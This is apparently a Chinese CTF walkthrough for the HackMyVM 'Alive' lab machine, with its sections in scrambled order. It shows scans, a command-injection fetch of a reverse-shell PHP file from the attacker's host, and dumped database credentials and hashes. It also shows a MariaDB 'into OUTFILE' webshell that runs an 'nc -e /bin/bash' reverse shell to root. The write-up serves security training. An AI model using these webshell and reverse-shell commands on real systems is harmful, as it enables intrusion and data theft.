(0.001 sec)\n\nMariaDB [mysql]> select * from npn into dumpfile '\/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys64.so';\nQuery OK, 1 row affected (0.000 sec)\n\nMariaDB [mysql]> create function sys_exec returns integer soname 'lib_mysqludf_sys64.so';\nERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys64.so' (errno: 11, file too short)<\/code><\/pre>\n\u989d\uff0c\u5bfb\u627e\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n
<\/div><\/p>\n\u989d\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ cp \/tmp\/lib_mysqludf_sys_64.so \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys_64.so\ncp: cannot create regular file '\/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys_64.so': Permission denied<\/code><\/pre>\n\u6de6\uff0c\u8fd9\u4e0d\u5c31\u592d\u6298\u4e86\u3002\u3002\u3002\u4e14\u6162\uff0c\u518d\u8bd5\u4e00\u4e0bmysql\uff01\uff01\u4e5f\u4e0d\u884c\u3002\u3002\u3002<\/p>\n
\u96be\u9053\u662f\u6587\u4ef6\u51fa\u9519\u4e86\uff1f\u6362\u4e00\u4e2a\u3002\u3002\u3002\u3002<\/p>\n
-rw-rw-rw- 1 root root 1 Apr 23 13:31 lib_mysqludf_sys64.so<\/code><\/pre>\n\u6de6\uff0c\u771f\u6709\u95ee\u9898\uff0c\u91cd\u65b0\u6765\uff01<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ ls -l \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys.so\n-rw-rw-rw- 1 root root 2 Apr 23 13:57 \/usr\/local\/mysql\/lib\/plugin\/lib_mysqludf_sys.so<\/code><\/pre>\n\u591a\u756a\u5c1d\u8bd5\u65e0\u679c\uff0c\u9042\u6362\u65b9\u6848 :\uff09<\/p>\n
\u65b9\u6cd5\u4e8c\uff1awebshell<\/h3>\n(remote) www-data@alive.hmv:\/tmp$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 23\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '\/opt\/shell.php'\n -> ;\nQuery OK, 1 row affected (0.015 sec)\n\nMariaDB [(none)]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff01<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ curl 127.0.0.1:8000\/shell.php?cmd=whoami\nroot<\/code><\/pre>\n\u53cd\u5f39shell\u5373\u53ef\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ curl 127.0.0.1:8000\/shell.php?cmd=nc%20-e%20\/bin\/bash%20192.168.0.143%202345<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ nc -lvnp 2345 \nlistening on [any] 2345 ...\nconnect to [192.168.0.143] from (UNKNOWN) [192.168.0.149] 38748\nwhoami;id\nroot\nuid=0(root) gid=0(root) groupes=0(root)\ncd \/root\nscript \/dev\/null -c bash\nScript d\u00e9marr\u00e9, le fichier journal de sortie est \u00ab \/dev\/null \u00bb.\nroot@alive:~# ls -la\nls -la\ntotal 32\ndrwx------. 5 root root 4096 28 janv. 2023 .\ndrwxr-xr-x. 18 root root 4096 17 janv. 2023 ..\nlrwxrwxrwx 1 root root 9 28 janv. 2023 .bash_history -> \/dev\/null\n-rw-r--r--. 1 root root 572 26 janv. 2023 .bashrc\ndrwxr-xr-x. 4 root root 4096 17 janv. 2023 .config\ndrwxr-xr-x. 3 root root 4096 11 janv. 2023 .local\n-rw-r--r--. 1 root root 161 9 juil. 2019 .profile\n-rwx------. 1 root root 33 14 janv. 2023 root.txt\ndrwx------. 2 root root 4096 18 janv. 2023 .ssh\nroot@alive:~# cat root\ncat root.txt \n819be2c3422a6121dac7e8b1da21ce32\nroot@alive:~# cd \/home\ncd \/home\nroot@alive:\/home# ls\nls\nalexandra\nroot@alive:\/home# cd al\ncd alexandra\/\nroot@alive:\/home\/alexandra# ls -la\nls -la\ntotal 32\ndrwxr-xr-x. 4 alexandra alexandra 4096 28 janv. 2023 .\ndrwxr-xr-x. 3 root root 4096 11 janv. 2023 ..\nlrwxrwxrwx 1 root root 9 28 janv. 2023 .bash_history -> \/dev\/null\n-rw-r--r--. 1 alexandra alexandra 220 11 janv. 2023 .bash_logout\n-rw-r--r--. 1 alexandra alexandra 3526 11 janv. 2023 .bashrc\ndrwxr-xr-x. 3 alexandra alexandra 4096 15 janv. 2023 .local\n-rw-r--r--. 1 alexandra alexandra 807 11 janv. 2023 .profile\ndrwx------. 2 alexandra alexandra 4096 18 janv. 2023 .ssh\n-rwx------. 1 alexandra alexandra 33 14 janv. 2023 user.txt\nroot@alive:\/home\/alexandra# cat user\ncat user.txt \n1637c0ee2d19e925bd6394c847a62ed5<\/code><\/pre>\n\u62ff\u5230rootshell\uff01\uff01\uff01\uff01<\/p>\n
\u65b9\u6cd5\u4e09\uff1a\u6570\u636e\u5e93CVE\u6f0f\u6d1e<\/h3>\n
\u4f5c\u8005\u4f7f\u7528https:\/\/github.com\/Al1ex\/CVE-2021-27928\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528\u83b7\u53d6shell\uff01\u4e0a\u9762\u65b9\u6cd5\u4e00\u6211\u5229\u7528\u4e0d\u6210\u529f\u53ef\u80fd\u662f\u56e0\u4e3a\u7248\u672c\u4e0d\u5bf9\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Alive \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive] \u2514\u2500$ rusts […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-615","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=615"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615\/revisions"}],"predecessor-version":[{"id":617,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/615\/revisions\/617"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=615"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ rustscan -a 192.168.0.149 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.149:22\nOpen 192.168.0.149:80\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-23 06:17 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nInitiating Ping Scan at 06:17\nScanning 192.168.0.149 [2 ports]\nCompleted Ping Scan at 06:17, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 06:17\nCompleted Parallel DNS resolution of 1 host. at 06:17, 0.01s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 06:17\nScanning alive (192.168.0.149) [2 ports]\nDiscovered open port 80\/tcp on 192.168.0.149\nDiscovered open port 22\/tcp on 192.168.0.149\nCompleted Connect Scan at 06:17, 0.00s elapsed (2 total ports)\nInitiating Service scan at 06:17\nScanning 2 services on alive (192.168.0.149)\nCompleted Service scan at 06:18, 6.04s elapsed (2 services on 1 host)\nNSE: Script scanning 192.168.0.149.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.31s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNmap scan report for alive (192.168.0.149)\nHost is up, received syn-ack (0.00043s latency).\nScanned at 2024-04-23 06:17:58 EDT for 6s\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n| 3072 26:9c:17:ef:21:36:3d:01:c3:1d:6b:0d:47:11:cd:58 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTL7GmZIj6NqWyxTUtZn6hsRMQgbBHIKFgQmG0\/nOM+RnEIU0a3FQNB1REG3ohE1tpL1PGb\/DP1dYfMNKNzfOd\/tnCu1M6CzU3\/qDlPddeuKZayIrK6KXAjbcmUzw9tKhARTRqKm4IK8\/MCKGVDeHX1fK70k9y1nQHm5hfE3k\/thbnHTEEC9vPkgBlIehXWtXKzfKyYNY8vO1+6\/Mdyb2wbh1L7vtP8um5saQiJo5sCFzHk59F\/aAfiuXZLcGob3JDqMYU85fdyo71gjbq\/qciwGRAGTkb00vPR2xeGlAhYQLToE4QByN0K\/KJtKfr5IYv\/9jBcB+wHCVwsGgrS1ppsHktk0z1l9X4Zvz8jvGUwvNTML6CcKtQwEtxrFNdF3gZYTYqX9z2O5+EAf3R6QyDPFKXr14d67eT\/x+dRmCOxWir4ASSj8g48epo2Tb3x2kxI9M7n16474VV9KfCwQOa19aL7HvY8iA+QFCHhBOSD2FEdVVS3hoQzVFvqVfD+H8=\n| 256 29:26:68:49:b0:37:5c:0e:7b:6d:81:8d:60:98:8d:fc (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ7MmcAJiA3Fcr1QL\/is5Z4RmZEGe6CI4QN09vxmoL9hzzkPIzjwUgi8X\/ss2DfFRL6Mq0QYwyFJUCOec6L60ZA=\n| 256 13:2e:13:19:0c:9d:a3:a7:3e:b8:df:ab:97:08:41:88 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTydr+AvAZMJXjRDFddEqebjeQuZDKQPqPFTYxgOLc4\n80\/tcp open http syn-ack Apache httpd 2.4.54 ((Debian))\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Host alive\n|_http-server-header: Apache\/2.4.54 (Debian)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 6.95 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.149\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.0.149\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: zip,bak,jpg,txt,html,php\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php (Status: 200) [Size: 1597]\n\/.php (Status: 403) [Size: 278]\n\/.html (Status: 403) [Size: 278]\n\/tmp (Status: 301) [Size: 312] [--> http:\/\/192.168.0.149\/tmp\/]\n\/.php (Status: 403) [Size: 278]\n\/.html (Status: 403) [Size: 278]\n\/server-status (Status: 403) [Size: 278]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div>
\n<\/div><\/p>\n\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
www.baidu.com<\/code><\/pre>\n<\/div><\/p>\n127.0.0.1\/index.php<\/code><\/pre>\n<\/div><\/p>\ndns\u89e3\u6790<\/h3>\n192.168.0.149 alive.hmv<\/code><\/pre>\n\u654f\u611f\u76ee\u5f55<\/h3>\n
<\/div><\/p>\n\u770b\u770b\u53ef\u5426\u8bfb\u53d6\u8fdc\u7a0b\u6587\u4ef6:<\/p>\n
<\/div><\/p>\n\u4f46\u662fphp\u6587\u4ef6\u4e0d\u884c\uff0c\u53ef\u80fd\u5b58\u5728\u8fc7\u6ee4\uff0c\u5c1d\u8bd5\u91cd\u5b9a\u5411\u4e00\u4e0b\uff1a<\/p>\n
\n\u8fd9\u91cc\u91cd\u5b9a\u5411\u5199\u7684\u662f> tmp<\/code>\u800c\u975e> \/tmp<\/code>\u54e6\uff01<\/p>\n\u5728html<\/code>\u76ee\u5f55\u4e0b\u5b58\u5728\u4e00\u4e2atmp<\/code>\u76ee\u5f55<\/p>\n<\/blockquote>\nhttp:\/\/192.168.0.143:8888\/revershell.php > tmp\/revershell.php<\/code><\/pre>\n<\/div><\/p>\n\u8bbe\u7f6e\u76d1\u542c\u5e76\u70b9\u51fb\u6fc0\u6d3b\uff01<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\n(remote) www-data@alive.hmv:\/$ cd \/var\/www\/html\n(remote) www-data@alive.hmv:\/var\/www\/html$ ls -la\ntotal 16\ndrwxr-xr-x. 3 root root 4096 Jan 12 2023 .\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 ..\n-r--r--r--. 1 www-data www-data 2001 Jan 12 2023 index.php\ndrwxr-xr-x. 2 www-data www-data 4096 Apr 23 12:35 tmp\n(remote) www-data@alive.hmv:\/var\/www\/html$ cd ..\/..\/\n(remote) www-data@alive.hmv:\/var$ ls -la\ntotal 48\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 .\ndrwxr-xr-x. 18 root root 4096 Jan 17 2023 ..\ndrwxr-xr-x. 2 root root 4096 Jan 26 2023 backups\ndrwxr-xr-x. 10 root root 4096 Jan 17 2023 cache\ndrwxr-xr-x. 29 root root 4096 Jan 17 2023 lib\ndrwxrwsr-x. 2 root staff 4096 Dec 9 2022 local\nlrwxrwxrwx. 1 root root 9 Jan 11 2023 lock -> \/run\/lock\ndrwxr-xr-x. 9 root root 4096 Apr 23 2024 log\ndrwxrwsr-x. 2 root mail 4096 Jan 11 2023 mail\ndrwxr-xr-x. 2 root root 4096 Jan 11 2023 opt\nlrwxrwxrwx. 1 root root 4 Jan 11 2023 run -> \/run\ndrwxr-xr-x. 4 root root 4096 Jan 17 2023 spool\ndrwxrwxrwt 2 root root 4096 Apr 23 2024 tmp\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 www\n(remote) www-data@alive.hmv:\/var$ cd mail\n(remote) www-data@alive.hmv:\/var\/mail$ ls -la\ntotal 8\ndrwxrwsr-x. 2 root mail 4096 Jan 11 2023 .\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 ..\n(remote) www-data@alive.hmv:\/var\/mail$ cd ..\/backups\/\n(remote) www-data@alive.hmv:\/var\/backups$ ls -la\n............\n(remote) www-data@alive.hmv:\/var\/backups$ cd ..\/tmp\n(remote) www-data@alive.hmv:\/var\/tmp$ ls -la\ntotal 8\ndrwxrwxrwt 2 root root 4096 Apr 23 2024 .\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 ..\n(remote) www-data@alive.hmv:\/var\/tmp$ sudo -l\n\nWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\n\n #1) Respect the privacy of others.\n #2) Think before you type.\n #3) With great power comes great responsibility.\n\n[sudo] password for www-data: \nsudo: a password is required\n(remote) www-data@alive.hmv:\/home\/alexandra$ ss -tnlup\nNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process \nudp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* \ntcp LISTEN 0 4096 127.0.0.1:8000 0.0.0.0:* \ntcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* \ntcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* \ntcp LISTEN 0 511 *:80 *:* \ntcp LISTEN 0 128 [::]:22 [::]:* \n(remote) www-data@alive.hmv:\/home\/alexandra$ curl 127.0.0.1:8000\n<!DOCTYPE html>\n<html>\n <head>\n <title>Backup<\/title>\n <\/head>\n <body>\n <p>Only local zipped backup.<\/p>\n\n <\/body>\n<\/html>\n(remote) www-data@alive.hmv:\/home\/alexandra$ cd \/var\/www\n(remote) www-data@alive.hmv:\/var\/www$ ls\ncode html\n(remote) www-data@alive.hmv:\/var\/www$ cd code\n(remote) www-data@alive.hmv:\/var\/www\/code$ ls -la\ntotal 436\ndrwxr-xr-x. 3 root root 4096 Jan 12 2023 .\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 ..\n-r--r--r--. 1 www-data www-data 1603 Jan 12 2023 index.php\ndrwxr-xr-x 11 www-data www-data 4096 Jan 12 2023 qdpmApp\n-r--r--r--. 1 www-data www-data 428145 Jan 12 2023 troll.jpg\n(remote) www-data@alive.hmv:\/var\/www\/code$ cat index.php \n<!DOCTYPE html>\n<html>\n<head>\n <title>Alive Restricted Zone<\/title>\n <style>\n body {\n background-color: lightblue;\n }\n img {\n width: 60%;\n display: block;\n margin-left: auto;\n margin-right: auto;\n margin-top: 20px; \/* added *\/\n }\n <\/style>\n<\/head>\n<body>\n <form action="index.php" method="post">\n <label for="digit">Enter your 15 digit code : <\/label>\n <input type="password" id="digit" name="digit" >\n <input type="submit" value="Valider">\n <\/form>\n <img src="troll.jpg" alt="#" style="width:30%;display:block;margin-left:auto;margin-right:auto;margin-top:150px;">\n\n<?php\n $servername = "localhost";\n $username = "admin";\n $password = "HeLL0alI4ns";\n $dbname = "digitcode";\n\n $conn = new mysqli($servername, $username, $password, $dbname);\n\n if ($conn->connect_error) {\n die("Connection failed: " . $conn->connect_error);\n }\n\n if ($_SERVER["REQUEST_METHOD"] == "POST") {\n $digit = mysqli_real_escape_string($conn, $_POST["digit"]);\n\n $stmt = $conn->prepare("SELECT digit, url FROM code, path WHERE code.id = path.id and code.id = ?");\n $stmt->bind_param("i", $id);\n $id = 1;\n $stmt->execute();\n $stmt->bind_result($correct_digit, $path);\n $stmt->fetch();\n $stmt->close();\n\n if ($digit === $correct_digit) {\n header("Location: $path");\n exit;\n } else {\n echo "Wrong digit code.";\n }\n }\n\n $conn->close();\n?>\n<\/body>\n<\/html><\/code><\/pre>\n\u67e5\u770b\u6570\u636e\u5e93<\/h3>\n
\u627e\u5230\u6570\u636e\u5e93\u5bc6\u7801\uff1a<\/p>\n
admin\nHeLL0alI4ns<\/code><\/pre>\n(remote) www-data@alive.hmv:\/var\/www\/code$ mysql -u admin -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 8\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| digitcode |\n| information_schema |\n| mysql |\n| performance_schema |\n| qdpm_db |\n+--------------------+\n5 rows in set (0.001 sec)\n\nMariaDB [(none)]> use digitcode;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [digitcode]> show tables;\n+---------------------+\n| Tables_in_digitcode |\n+---------------------+\n| code |\n| path |\n+---------------------+\n2 rows in set (0.000 sec)\n\nMariaDB [digitcode]> use qdpm_db;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [qdpm_db]> show tables;\n+----------------------+\n| Tables_in_qdpm_db |\n+----------------------+\n| attachments |\n| configuration |\n| departments |\n| discussions |\n| discussions_comments |\n| discussions_reports |\n| discussions_status |\n| events |\n| extra_fields |\n| extra_fields_list |\n| phases |\n| phases_status |\n| projects |\n| projects_comments |\n| projects_phases |\n| projects_reports |\n| projects_status |\n| projects_types |\n| tasks |\n| tasks_comments |\n| tasks_groups |\n| tasks_labels |\n| tasks_priority |\n| tasks_status |\n| tasks_types |\n| tickets |\n| tickets_comments |\n| tickets_reports |\n| tickets_status |\n| tickets_types |\n| user_reports |\n| users |\n| users_groups |\n| versions |\n| versions_status |\n+----------------------+\n35 rows in set (0.000 sec)\n\nMariaDB [qdpm_db]> select * from users;\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n| id | users_group_id | name | photo | email | culture | password | active | skin |\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n| 3 | 1 | administrator | | administrator@alive.hmv | | $P$EXzIrSSSu7iTu2wc9sFTh29F7Ajn371 | 1 | NULL |\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n1 row in set (0.000 sec)\n\nMariaDB [qdpm_db]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u7206\u7834\u4e00\u4e0b\uff0c\u4f46\u662f\u672a\u679c\uff0c\u7ee7\u7eed\u5c1d\u8bd5\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/var\/www\/code$ mysql -u admin -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 9\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| digitcode |\n| information_schema |\n| mysql |\n| performance_schema |\n| qdpm_db |\n+--------------------+\n5 rows in set (0.000 sec)\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> show tables;\n+---------------------------+\n| Tables_in_mysql |\n+---------------------------+\n| column_stats |\n| columns_priv |\n| db |\n| event |\n| func |\n| general_log |\n| gtid_slave_pos |\n| help_category |\n| help_keyword |\n| help_relation |\n| help_topic |\n| host |\n| index_stats |\n| innodb_index_stats |\n| innodb_table_stats |\n| plugin |\n| proc |\n| procs_priv |\n| proxies_priv |\n| roles_mapping |\n| servers |\n| slow_log |\n| table_stats |\n| tables_priv |\n| time_zone |\n| time_zone_leap_second |\n| time_zone_name |\n| time_zone_transition |\n| time_zone_transition_type |\n| transaction_registry |\n| user |\n+---------------------------+\n31 rows in set (0.000 sec)\n\nMariaDB [mysql]> desc user;\n+------------------------+-----------------------------------+------+-----+----------+-------+\n| Field | Type | Null | Key | Default | Extra |\n+------------------------+-----------------------------------+------+-----+----------+-------+\n| Host | char(60) | NO | PRI | | |\n| User | char(80) | NO | PRI | | |\n| Password | char(41) | NO | | | |\n| Select_priv | enum('N','Y') | NO | | N | |\n| Insert_priv | enum('N','Y') | NO | | N | |\n| Update_priv | enum('N','Y') | NO | | N | |\n| Delete_priv | enum('N','Y') | NO | | N | |\n| Create_priv | enum('N','Y') | NO | | N | |\n| Drop_priv | enum('N','Y') | NO | | N | |\n| Reload_priv | enum('N','Y') | NO | | N | |\n| Shutdown_priv | enum('N','Y') | NO | | N | |\n| Process_priv | enum('N','Y') | NO | | N | |\n| File_priv | enum('N','Y') | NO | | N | |\n| Grant_priv | enum('N','Y') | NO | | N | |\n| References_priv | enum('N','Y') | NO | | N | |\n| Index_priv | enum('N','Y') | NO | | N | |\n| Alter_priv | enum('N','Y') | NO | | N | |\n| Show_db_priv | enum('N','Y') | NO | | N | |\n| Super_priv | enum('N','Y') | NO | | N | |\n| Create_tmp_table_priv | enum('N','Y') | NO | | N | |\n| Lock_tables_priv | enum('N','Y') | NO | | N | |\n| Execute_priv | enum('N','Y') | NO | | N | |\n| Repl_slave_priv | enum('N','Y') | NO | | N | |\n| Repl_client_priv | enum('N','Y') | NO | | N | |\n| Create_view_priv | enum('N','Y') | NO | | N | |\n| Show_view_priv | enum('N','Y') | NO | | N | |\n| Create_routine_priv | enum('N','Y') | NO | | N | |\n| Alter_routine_priv | enum('N','Y') | NO | | N | |\n| Create_user_priv | enum('N','Y') | NO | | N | |\n| Event_priv | enum('N','Y') | NO | | N | |\n| Trigger_priv | enum('N','Y') | NO | | N | |\n| Create_tablespace_priv | enum('N','Y') | NO | | N | |\n| Delete_history_priv | enum('N','Y') | NO | | N | |\n| ssl_type | enum('','ANY','X509','SPECIFIED') | NO | | | |\n| ssl_cipher | blob | NO | | NULL | |\n| x509_issuer | blob | NO | | NULL | |\n| x509_subject | blob | NO | | NULL | |\n| max_questions | int(11) unsigned | NO | | 0 | |\n| max_updates | int(11) unsigned | NO | | 0 | |\n| max_connections | int(11) unsigned | NO | | 0 | |\n| max_user_connections | int(11) | NO | | 0 | |\n| plugin | char(64) | NO | | | |\n| authentication_string | text | NO | | NULL | |\n| password_expired | enum('N','Y') | NO | | N | |\n| is_role | enum('N','Y') | NO | | N | |\n| default_role | char(80) | NO | | | |\n| max_statement_time | decimal(12,6) | NO | | 0.000000 | |\n+------------------------+-----------------------------------+------+-----+----------+-------+\n47 rows in set (0.001 sec)\n\nMariaDB [mysql]> select User,Password from user;\n+----------+-------------------------------------------+\n| User | Password |\n+----------+-------------------------------------------+\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| admin | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n| qdpmUser | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n| user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |\n| admin | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n+----------+-------------------------------------------+\n7 rows in set (0.000 sec)\n\nMariaDB [mysql]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
<\/div><\/p>\n\u989d\uff0c\u53ef\u60dc\u662fmysql\u7684\u5bc6\u7801\u3002\u3002\u3002\u4f46\u662f\u4e5f\u8bb0\u4e0b\u6765\uff0c\u53ef\u80fd\u5b58\u5728\u590d\u7528\uff01<\/p>\n
thecondor\npassword<\/code><\/pre>\n\u65b9\u6cd5\u4e00\uff1a\u5c1d\u8bd5UDF\u63d0\u6743\uff08\u5931\u8d25\uff09<\/h3>\n
